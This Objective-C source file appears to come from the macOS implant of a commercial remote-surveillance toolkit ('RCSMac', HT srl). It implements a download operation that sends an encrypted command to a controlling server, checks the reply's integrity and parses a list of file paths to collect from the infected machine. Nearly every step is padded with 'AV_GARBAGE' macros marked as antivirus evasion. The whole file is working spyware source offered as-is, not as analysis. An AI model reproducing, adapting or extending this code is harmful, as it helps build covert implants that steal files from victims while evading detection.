core/Modules/DownloadNetworkOperation.m
/*
* RCSMac - Download File Network Operation
*
*
* Created by revenge on 12/01/2011
* Copyright (C) HT srl 2011. All rights reserved
*
*/
#import "RCSMCommon.h"
#import "DownloadNetworkOperation.h"
#import "NSString+SHA1.h"
#import "NSData+SHA1.h"
#import "NSMutableData+AES128.h"
#import "NSMutableData+SHA1.h"
#import "NSData+Pascal.h"
#import "RCSMTaskManager.h"
#import "RCSMLogger.h"
#import "RCSMDebug.h"
#import "RCSMAVGarbage.h"
@implementation DownloadNetworkOperation
@synthesize mDownloads;
- (id)initWithTransport: (RESTTransport *)aTransport
{
if (self = [super init])
{
mTransport = aTransport;
mDownloads = [[NSMutableArray alloc] init];
// AV evasion: only on release build
AV_GARBAGE_002
return self;
}
return nil;
}
- (void)dealloc
{
[mDownloads release];
[super dealloc];
}
- (BOOL)perform
{
// AV evasion: only on release build
AV_GARBAGE_003
NSAutoreleasePool *outerPool = [[NSAutoreleasePool alloc] init];
int32_t i = 0;
uint32_t command = PROTO_DOWNLOAD;
// AV evasion: only on release build
AV_GARBAGE_003
NSMutableData *commandData = [[NSMutableData alloc] initWithBytes: &command
length: sizeof(uint32_t)];
// AV evasion: only on release build
AV_GARBAGE_003
NSData *commandSha = [commandData sha1Hash];
[commandData appendData: commandSha];
// AV evasion: only on release build
AV_GARBAGE_001
[commandData encryptWithKey: gSessionKey];
// AV evasion: only on release build
AV_GARBAGE_004
//
// Send encrypted message
//
NSURLResponse *urlResponse = nil;
NSData *replyData = nil;
NSMutableData *replyDecrypted = nil;
// AV evasion: only on release build
AV_GARBAGE_000
replyData = [mTransport sendData: commandData
returningResponse: urlResponse];
// AV evasion: only on release build
AV_GARBAGE_009
if (replyData == nil)
{
// AV evasion: only on release build
AV_GARBAGE_003
[commandData release];
[outerPool release];
// AV evasion: only on release build
AV_GARBAGE_003
return NO;
}
// AV evasion: only on release build
AV_GARBAGE_003
replyDecrypted = [[NSMutableData alloc] initWithData: replyData];
[replyDecrypted decryptWithKey: gSessionKey];
// AV evasion: only on release build
AV_GARBAGE_003
[replyDecrypted getBytes: &command
length: sizeof(uint32_t)];
// AV evasion: only on release build
AV_GARBAGE_004
// remove padding
[replyDecrypted removePadding];
// AV evasion: only on release build
AV_GARBAGE_008
//
// check integrity
//
NSData *shaRemote;
NSData *shaLocal;
@try
{
// AV evasion: only on release build
AV_GARBAGE_006
shaRemote = [replyDecrypted subdataWithRange:
NSMakeRange([replyDecrypted length] - CC_SHA1_DIGEST_LENGTH,
CC_SHA1_DIGEST_LENGTH)];
// AV evasion: only on release build
AV_GARBAGE_009
shaLocal = [replyDecrypted subdataWithRange:
NSMakeRange(0, [replyDecrypted length] - CC_SHA1_DIGEST_LENGTH)];
// AV evasion: only on release build
AV_GARBAGE_002
}
@catch (NSException *e)
{
// AV evasion: only on release build
AV_GARBAGE_003
[replyDecrypted release];
[commandData release];
[outerPool release];
// AV evasion: only on release build
AV_GARBAGE_001
return NO;
}
// AV evasion: only on release build
AV_GARBAGE_004
shaLocal = [shaLocal sha1Hash];
// AV evasion: only on release build
AV_GARBAGE_001
if ([shaRemote isEqualToData: shaLocal] == NO)
{
// AV evasion: only on release build
AV_GARBAGE_002
[replyDecrypted release];
[commandData release];
[outerPool release];
// AV evasion: only on release build
AV_GARBAGE_003
return NO;
}
// AV evasion: only on release build
AV_GARBAGE_008
if (command != PROTO_OK)
{
// AV evasion: only on release build
AV_GARBAGE_002
[replyDecrypted release];
[commandData release];
[outerPool release];
// AV evasion: only on release build
AV_GARBAGE_005
return NO;
}
// AV evasion: only on release build
AV_GARBAGE_003
uint32_t numOfStrings = 0;
@try
{
[replyDecrypted getBytes: &numOfStrings
range: NSMakeRange(8, sizeof(uint32_t))];
}
@catch (NSException *e)
{
// AV evasion: only on release build
AV_GARBAGE_003
[replyDecrypted release];
[commandData release];
[outerPool release];
// AV evasion: only on release build
AV_GARBAGE_006
return NO;
}
// AV evasion: only on release build
AV_GARBAGE_005
if (numOfStrings == 0)
{
// AV evasion: only on release build
AV_GARBAGE_007
[replyDecrypted release];
[commandData release];
[outerPool release];
// AV evasion: only on release build
AV_GARBAGE_009
return NO;
}
// AV evasion: only on release build
AV_GARBAGE_003
uint32_t stringDataSize = 0;
NSMutableData *strings;
@try
{
// AV evasion: only on release build
AV_GARBAGE_001
[replyDecrypted getBytes: &stringDataSize
range: NSMakeRange(4, sizeof(uint32_t))];
// AV evasion: only on release build
AV_GARBAGE_002
strings = [NSMutableData dataWithData:
[replyDecrypted subdataWithRange: NSMakeRange(12, stringDataSize)]];
// AV evasion: only on release build
AV_GARBAGE_003
}
@catch (NSException *e)
{
// AV evasion: only on release build
AV_GARBAGE_003
return NO;
}
uint32_t len = 0;
// AV evasion: only on release build
AV_GARBAGE_000
//
// Unpascalize n NULL terminated UTF16LE strings
//
NSData *stringData;
for (i = 0; i < numOfStrings; i++)
{
// AV evasion: only on release build
AV_GARBAGE_000
[strings getBytes: &len length: sizeof(uint32_t)];
@try
{
stringData = [strings subdataWithRange: NSMakeRange(0, len + 4)];
}
@catch (NSException *e)
{
// AV evasion: only on release build
AV_GARBAGE_003
[replyDecrypted release];
[commandData release];
[outerPool release];
// AV evasion: only on release build
AV_GARBAGE_006
return NO;
}
// AV evasion: only on release build
AV_GARBAGE_006
NSString *string = [stringData unpascalizeToStringWithEncoding: NSUTF16LittleEndianStringEncoding];
// AV evasion: only on release build
AV_GARBAGE_007
if (string == nil)
{
// AV evasion: only on release build
AV_GARBAGE_004
[replyDecrypted release];
[commandData release];
[outerPool release];
// AV evasion: only on release build
AV_GARBAGE_004
return NO;
}
// AV evasion: only on release build
AV_GARBAGE_007
[mDownloads addObject: string];
// AV evasion: only on release build
AV_GARBAGE_003
@try
{
// AV evasion: only on release build
AV_GARBAGE_004
[strings replaceBytesInRange: NSMakeRange(0, len + 4)
withBytes: NULL
length: 0];
// AV evasion: only on release build
AV_GARBAGE_000
}
@catch (NSException *e)
{
// AV evasion: only on release build
AV_GARBAGE_007
[replyDecrypted release];
[commandData release];
[outerPool release];
return NO;
}
}
// AV evasion: only on release build
AV_GARBAGE_001
[replyDecrypted release];
[commandData release];
[outerPool release];
// AV evasion: only on release build
AV_GARBAGE_000
return YES;
}
@end